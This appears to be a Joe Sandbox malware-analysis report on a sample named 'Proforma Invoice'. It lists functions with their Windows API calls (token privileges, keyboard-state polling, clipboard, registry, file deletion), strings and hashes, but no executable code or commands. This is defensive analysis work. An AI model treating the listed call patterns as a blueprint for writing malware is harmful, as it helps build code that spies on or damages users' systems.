Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: f36fafbf784b655fd7fba17b324377a987a88fcbb321e3b49e841bf9b236f53c
Instruction ID: 9f8ecac291f654c9837d8bf80b8a50900079f67ea05ad2a767e0d17bcb0dcae0
Opcode Fuzzy Hash: f36fafbf784b655fd7fba17b324377a987a88fcbb321e3b49e841bf9b236f53c
Instruction Fuzzy Hash: EC317571A40318BBEB306B619C49FBF7E7DEB44B50F104076FA04EA2D1C6B45D12AAA5

Function 006F8310 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 224COMMON

Download Yara Rule

APIs

Part of subcall function 006F87E1: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 006F882B
Part of subcall function 006F87E1: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 006F8858
Part of subcall function 006F87E1: GetLastError.KERNEL32 ref: 006F8865

_memset.LIBCMT ref: 006F8353
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 006F83A5
CloseHandle.KERNEL32(?), ref: 006F83B6
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 006F83CD
GetProcessWindowStation.USER32 ref: 006F83E6
SetProcessWindowStation.USER32(00000000), ref: 006F83F0
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 006F840A

Part of subcall function 006F81CB: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,006F8309), ref: 006F81E0
Part of subcall function 006F81CB: CloseHandle.KERNEL32(?,?,006F8309), ref: 006F81F2

Strings

winsta0, xrefs: 006F83C8
default, xrefs: 006F8405
, xrefs: 006F8362

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
String ID: $default$winsta0
API String ID: 2063423040-1027155976
Opcode ID: f04ed69b661d8cd7948c447bb1e69d52a34f1d867f49d56159d0341ed2b0d8db
Instruction ID: e23a9ab6436eca1fc9cf66cb0a7076d92d013e764a8893dce6c6b3362bef4f1e
Opcode Fuzzy Hash: f04ed69b661d8cd7948c447bb1e69d52a34f1d867f49d56159d0341ed2b0d8db
Instruction Fuzzy Hash: 0E8147B190020DAFDF619FA4DC45AFE7BBAFF04304F1481A9FA10A7261DB359A15DB24

Function 0070C75C Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 280timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 0070C78D
FindClose.KERNEL32(00000000), ref: 0070C7E1
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0070C806
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0070C81D
FileTimeToSystemTime.KERNEL32(?,?), ref: 0070C844
__swprintf.LIBCMT ref: 0070C890
__swprintf.LIBCMT ref: 0070C8D3

Part of subcall function 006A7DE1: _memmove.LIBCMT ref: 006A7E22

__swprintf.LIBCMT ref: 0070C927

Part of subcall function 006C3698: __woutput_l.LIBCMT ref: 006C36F1

__swprintf.LIBCMT ref: 0070C975

Part of subcall function 006C3698: __flsbuf.LIBCMT ref: 006C3713
Part of subcall function 006C3698: __flsbuf.LIBCMT ref: 006C372B

__swprintf.LIBCMT ref: 0070C9C4
__swprintf.LIBCMT ref: 0070CA13
__swprintf.LIBCMT ref: 0070CA62

Strings

%4d, xrefs: 0070C8CD
%4d%02d%02d%02d%02d%02d, xrefs: 0070C88A
%02d, xrefs: 0070C91B, 0070C925, 0070C973, 0070C9C2, 0070CA11, 0070CA60

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: __swprintf$FileTime$FindLocal__flsbuf$CloseFirstSystem__woutput_l_memmove
String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
API String ID: 3953360268-2428617273
Opcode ID: 12071bb730e86717104645ae28c710bc2299b366acf805af3666d3f4efc18d51
Instruction ID: 2bc03c3b54754ebda785941a325a1e4c09a77bdf0ae5f9fc107585d3c3602cf0
Opcode Fuzzy Hash: 12071bb730e86717104645ae28c710bc2299b366acf805af3666d3f4efc18d51
Instruction Fuzzy Hash: 7FA11AB1408244ABC754FFA4C885DAFB7EDFF96700F40492DF59586291EA34EE08CB66

Function 0070EF95 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 119fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 0070EFB6
_wcscmp.LIBCMT ref: 0070EFCB
_wcscmp.LIBCMT ref: 0070EFE2
GetFileAttributesW.KERNEL32(?), ref: 0070EFF4
SetFileAttributesW.KERNEL32(?,?), ref: 0070F00E
FindNextFileW.KERNEL32(00000000,?), ref: 0070F026
FindClose.KERNEL32(00000000), ref: 0070F031
FindFirstFileW.KERNEL32(*.*,?), ref: 0070F04D
_wcscmp.LIBCMT ref: 0070F074
_wcscmp.LIBCMT ref: 0070F08B
SetCurrentDirectoryW.KERNEL32(?), ref: 0070F09D
SetCurrentDirectoryW.KERNEL32(00758920), ref: 0070F0BB
FindNextFileW.KERNEL32(00000000,00000010), ref: 0070F0C5
FindClose.KERNEL32(00000000), ref: 0070F0D2
FindClose.KERNEL32(00000000), ref: 0070F0E4

Strings

*.*, xrefs: 0070F048

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1803514871-438819550
Opcode ID: 351bdf085dabe5488137227596d7e25a5fdcd6654c5bb9b95688b71df58350e8
Instruction ID: 8f56b6a0579c43ee5adfbd637e63eaf39bffe6824e5e79241a981e86725e47ed
Opcode Fuzzy Hash: 351bdf085dabe5488137227596d7e25a5fdcd6654c5bb9b95688b71df58350e8
Instruction Fuzzy Hash: 1F31B432501219ABDB24EBB4DC49FEE77ECAF45360F10427AE804E21D1DB78DA45CA55

Function 00720857 Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00720953
RegCreateKeyExW.ADVAPI32(?,?,00000000,0072F910,00000000,?,00000000,?,?), ref: 007209C1
RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 00720A09
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 00720A92
RegCloseKey.ADVAPI32(?), ref: 00720DB2
RegCloseKey.ADVAPI32(00000000), ref: 00720DBF

Strings

REG_BINARY, xrefs: 00720D4D
REG_MULTI_SZ, xrefs: 00720B7A
REG_DWORD, xrefs: 00720C83
REG_QWORD, xrefs: 00720D00
REG_EXPAND_SZ, xrefs: 00720A2F
REG_SZ, xrefs: 00720AD0

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Close$ConnectCreateRegistryValue
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 536824911-966354055
Opcode ID: 6471b42f0dc94601c681d6e74a190f7ebd510269266d6e6bcf2323be79cb9fb1
Instruction ID: d4110789a193fe1397330d2afe21a39aa005c5af493b78db36d146cb44889490
Opcode Fuzzy Hash: 6471b42f0dc94601c681d6e74a190f7ebd510269266d6e6bcf2323be79cb9fb1
Instruction Fuzzy Hash: EF026A756006119FCB54EF24D841E2AB7E6FF89310F14895CF88A9B3A2DB38ED41CB95

Function 006B66E1 Relevance: 25.9, Strings: 20, Instructions: 889COMMON

Download Yara Rule

Strings

LF), xrefs: 006F12A4
NO_AUTO_POSSESS), xrefs: 006F112E
NO_START_OPT), xrefs: 006F114F
ANY), xrefs: 006F12DE
BSR_ANYCRLF), xrefs: 006F131E
ANYCRLF), xrefs: 006F12FB
pGt, xrefs: 006B6751
0Et, xrefs: 006B673D
BSR_UNICODE), xrefs: 006F1338
CRLF), xrefs: 006F12C1
0Ft, xrefs: 006B6747
UCP), xrefs: 006F110D
LIMIT_RECURSION=, xrefs: 006F11FC
0Dt, xrefs: 006B6733
CR), xrefs: 006F1287
UTF), xrefs: 006F10FA
UTF16), xrefs: 006F10CF
3ck, xrefs: 006B68FF
_k, xrefs: 006F1465, 006F150C, 006F15B4
LIMIT_MATCH=, xrefs: 006F1170

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID: 0Dt$0Et$0Ft$3ck$ANY)$ANYCRLF)$BSR_ANYCRLF)$BSR_UNICODE)$CR)$CRLF)$LF)$LIMIT_MATCH=$LIMIT_RECURSION=$NO_AUTO_POSSESS)$NO_START_OPT)$UCP)$UTF)$UTF16)$pGt$_k
API String ID: 0-1130193868
Opcode ID: 378fd752b12946d2de39ffa07b5961b9d1cc1221310323aa01f5ed2611328c85
Instruction ID: c6e098c1b91ace52f6893a056065f388b2c2f11899060193d2064b119708fb8d
Opcode Fuzzy Hash: 378fd752b12946d2de39ffa07b5961b9d1cc1221310323aa01f5ed2611328c85
Instruction Fuzzy Hash: 6A725EB5E00219DBDB24CF59C8807FEB7B6FF45350F14816AE909EB291DB749A81CB90

Function 0070F0F2 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 112fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 0070F113
_wcscmp.LIBCMT ref: 0070F128
_wcscmp.LIBCMT ref: 0070F13F

Part of subcall function 00704385: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 007043A0

FindNextFileW.KERNEL32(00000000,?), ref: 0070F16E
FindClose.KERNEL32(00000000), ref: 0070F179
FindFirstFileW.KERNEL32(*.*,?), ref: 0070F195
_wcscmp.LIBCMT ref: 0070F1BC
_wcscmp.LIBCMT ref: 0070F1D3
SetCurrentDirectoryW.KERNEL32(?), ref: 0070F1E5
SetCurrentDirectoryW.KERNEL32(00758920), ref: 0070F203
FindNextFileW.KERNEL32(00000000,00000010), ref: 0070F20D
FindClose.KERNEL32(00000000), ref: 0070F21A
FindClose.KERNEL32(00000000), ref: 0070F22C

Strings

*.*, xrefs: 0070F190

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 1824444939-438819550
Opcode ID: 69174bfaf46c1c0fc6aed357875101078d8700703a1a81b8e42477ddea6d1999
Instruction ID: 5c79326147686d004095e80f4f8b5d27104933331539a45582461fd8c0941514
Opcode Fuzzy Hash: 69174bfaf46c1c0fc6aed357875101078d8700703a1a81b8e42477ddea6d1999
Instruction Fuzzy Hash: 1131CE76500219FACB30ABA4EC49EEE77FCAF45360F144279E800E25E1DB38DE45CA58

Function 0070A1EF Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 102fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 0070A20F
__swprintf.LIBCMT ref: 0070A231
CreateDirectoryW.KERNEL32(?,00000000), ref: 0070A26E
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 0070A293
_memset.LIBCMT ref: 0070A2B2
_wcsncpy.LIBCMT ref: 0070A2EE
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 0070A323
CloseHandle.KERNEL32(00000000), ref: 0070A32E
RemoveDirectoryW.KERNEL32(?), ref: 0070A337
CloseHandle.KERNEL32(00000000), ref: 0070A341

Strings

:, xrefs: 0070A252
\??\%s, xrefs: 0070A22B
\, xrefs: 0070A247

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
String ID: :$\$\??\%s
API String ID: 2733774712-3457252023
Opcode ID: b19a0cd8f75d1f8af9fd443e38ddcf3af599fdd3eb0e787a5d3df09a02116342
Instruction ID: b032b48aa6a8eecda04e64028b7c265147ab0e7bb79f4fd6f0de63fd4ee21660
Opcode Fuzzy Hash: b19a0cd8f75d1f8af9fd443e38ddcf3af599fdd3eb0e787a5d3df09a02116342
Instruction Fuzzy Hash: E131C5B1900209BBDB20DFA0DC45FEB77BDEF89740F1041BAF508D6190EB7496458B29

Function 0070001C Relevance: 18.2, APIs: 12, Instructions: 186keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00700097
SetKeyboardState.USER32(?), ref: 00700102
GetAsyncKeyState.USER32(000000A0), ref: 00700122
GetKeyState.USER32(000000A0), ref: 00700139
GetAsyncKeyState.USER32(000000A1), ref: 00700168
GetKeyState.USER32(000000A1), ref: 00700179
GetAsyncKeyState.USER32(00000011), ref: 007001A5
GetKeyState.USER32(00000011), ref: 007001B3
GetAsyncKeyState.USER32(00000012), ref: 007001DC
GetKeyState.USER32(00000012), ref: 007001EA
GetAsyncKeyState.USER32(0000005B), ref: 00700213
GetKeyState.USER32(0000005B), ref: 00700221

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 413809b73dfe5a5766d8c2e392c537e7b883b625466dea45bc9a33da8997fefc
Instruction ID: 3c0686fde8a147d7db05ad7db4f7a2d9ef522bb53b3cda597d62ecb94858834b
Opcode Fuzzy Hash: 413809b73dfe5a5766d8c2e392c537e7b883b625466dea45bc9a33da8997fefc
Instruction Fuzzy Hash: 7E51CC30904788A9FB35DBA088547EABFF49F02390F48479ED5C5565C2DAAC9B8CC7E1

Function 007203DA Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00720E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0071FDAD,?,?), ref: 00720E31

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 007204AC

Part of subcall function 006A9837: __itow.LIBCMT ref: 006A9862
Part of subcall function 006A9837: __swprintf.LIBCMT ref: 006A98AC

RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 0072054B
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 007205E3
RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 00720822
RegCloseKey.ADVAPI32(00000000), ref: 0072082F

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
String ID:
API String ID: 1240663315-0
Opcode ID: f0fe56b50e853bc39bb7c166f25542c19549df49a88ce1db4c5de84f50cde2df
Instruction ID: c7c9a5ee8ec5e19553a4b31369a9e84bbb543474b884b338d92ca43bbd468ccf
Opcode Fuzzy Hash: f0fe56b50e853bc39bb7c166f25542c19549df49a88ce1db4c5de84f50cde2df
Instruction Fuzzy Hash: 84E15C70204214AFCB54DF24D895E6BBBE5EF89714F04896DF84ADB262DA34ED01CBA1

Function 007183BB Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON

Download Yara Rule

APIs

Part of subcall function 006A9837: __itow.LIBCMT ref: 006A9862
Part of subcall function 006A9837: __swprintf.LIBCMT ref: 006A98AC

CoInitialize.OLE32 ref: 00718403
CoUninitialize.OLE32 ref: 0071840E
CoCreateInstance.OLE32(?,00000000,00000017,00732BEC,?), ref: 0071846E
IIDFromString.OLE32(?,?), ref: 007184E1
VariantInit.OLEAUT32(?), ref: 0071857B
VariantClear.OLEAUT32(?), ref: 007185DC

Strings

Failed to create object, xrefs: 00718479, 0071852F
NULL Pointer assignment, xrefs: 007184B3
Invalid parameter, xrefs: 007184FA

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 834269672-1287834457
Opcode ID: c74ed9dfd2d2ec5447bb95c8260e6d51e90580ac311341b9b0780e4a570d4662
Instruction ID: de70cea3f42998201bf1dcd92b6e4514cc7398b74595834e329055a9bb3156d3
Opcode Fuzzy Hash: c74ed9dfd2d2ec5447bb95c8260e6d51e90580ac311341b9b0780e4a570d4662
Instruction Fuzzy Hash: 5F61BD706083129FD790DF58C848BAAB7E9EF49714F14441DF9819B291CB78ED88CBA3

Function 00714164 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 0071418B
EmptyClipboard.USER32 ref: 00714191
GlobalAlloc.KERNEL32(00000002,?), ref: 007141A6
CloseClipboard.USER32 ref: 00714245

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: 6603ee1c80320e4918ccc09b2813d3a500867f7da460b26b62ec9a0cf7fcc889
Instruction ID: 10bfcf6d1933f65df085ed1d97242e461a59916b8c8e0d8dc07cdb8bbbaa2157
Opcode Fuzzy Hash: 6603ee1c80320e4918ccc09b2813d3a500867f7da460b26b62ec9a0cf7fcc889
Instruction Fuzzy Hash: F6218175200214AFDB20AF64EC19B6E7BB9FF05711F14C02AF946DB2A1DB78AC41CB58

Function 007037EF Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 167fileCOMMON

Download Yara Rule

APIs

Part of subcall function 006A4750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,006A4743,?,?,006A37AE,?), ref: 006A4770

Part of subcall function 00704A31: GetFileAttributesW.KERNEL32(?,0070370B), ref: 00704A32

FindFirstFileW.KERNEL32(?,?), ref: 007038A3
DeleteFileW.KERNEL32(?,?,00000000,?,?,?,?), ref: 0070394B
MoveFileW.KERNEL32(?,?), ref: 0070395E
DeleteFileW.KERNEL32(?,?,?,?,?), ref: 0070397B
FindNextFileW.KERNEL32(00000000,00000010), ref: 0070399D
FindClose.KERNEL32(00000000,?,?,?,?), ref: 007039B9

Strings

\*.*, xrefs: 0070384E, 00703857, 0070386C

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: File$Find$Delete$AttributesCloseFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 4002782344-1173974218
Opcode ID: 6ed1a60910f7c8413b74ce979945044144b7b40f96747ab5123e9d1364db2f5d
Instruction ID: 3da4d4fe7626299cd0fab1ce56a6fd2c53f3a972a6d0eb3b93f6068bb4115d3d
Opcode Fuzzy Hash: 6ed1a60910f7c8413b74ce979945044144b7b40f96747ab5123e9d1364db2f5d
Instruction Fuzzy Hash: A5519F3180414CDACF15FBA0CE929EDB7BAAF16300F604169E406761D2EF256F09CF65

Function 0070F3F3 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 120filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 006A7DE1: _memmove.LIBCMT ref: 006A7E22

FindFirstFileW.KERNEL32(?,?,*.*,?,?,00000000,00000000), ref: 0070F440
Sleep.KERNEL32(0000000A), ref: 0070F470
_wcscmp.LIBCMT ref: 0070F484
_wcscmp.LIBCMT ref: 0070F49F
FindNextFileW.KERNEL32(?,?), ref: 0070F53D
FindClose.KERNEL32(00000000), ref: 0070F553

Strings

*.*, xrefs: 0070F425

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstNextSleep_memmove
String ID: *.*
API String ID: 713712311-438819550
Opcode ID: b325d6d4cb5613c50bb25524e641854ce9c062e4e63ca082c849e226292193a9
Instruction ID: cb2eebd85273bfb344bd291cde197aa15829199e3c55435bb547ddf644a9039f
Opcode Fuzzy Hash: b325d6d4cb5613c50bb25524e641854ce9c062e4e63ca082c849e226292193a9
Instruction Fuzzy Hash: A1416B7190021ADFCF60EF64DC49AEEBBB5FF05310F10456AE815A2291DB34AE55CF54

Function 006B3030 Relevance: 11.1, APIs: 4, Strings: 2, Instructions: 587COMMON

Download Yara Rule

Strings

3ck, xrefs: 006B3225
_k, xrefs: 006B3322

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

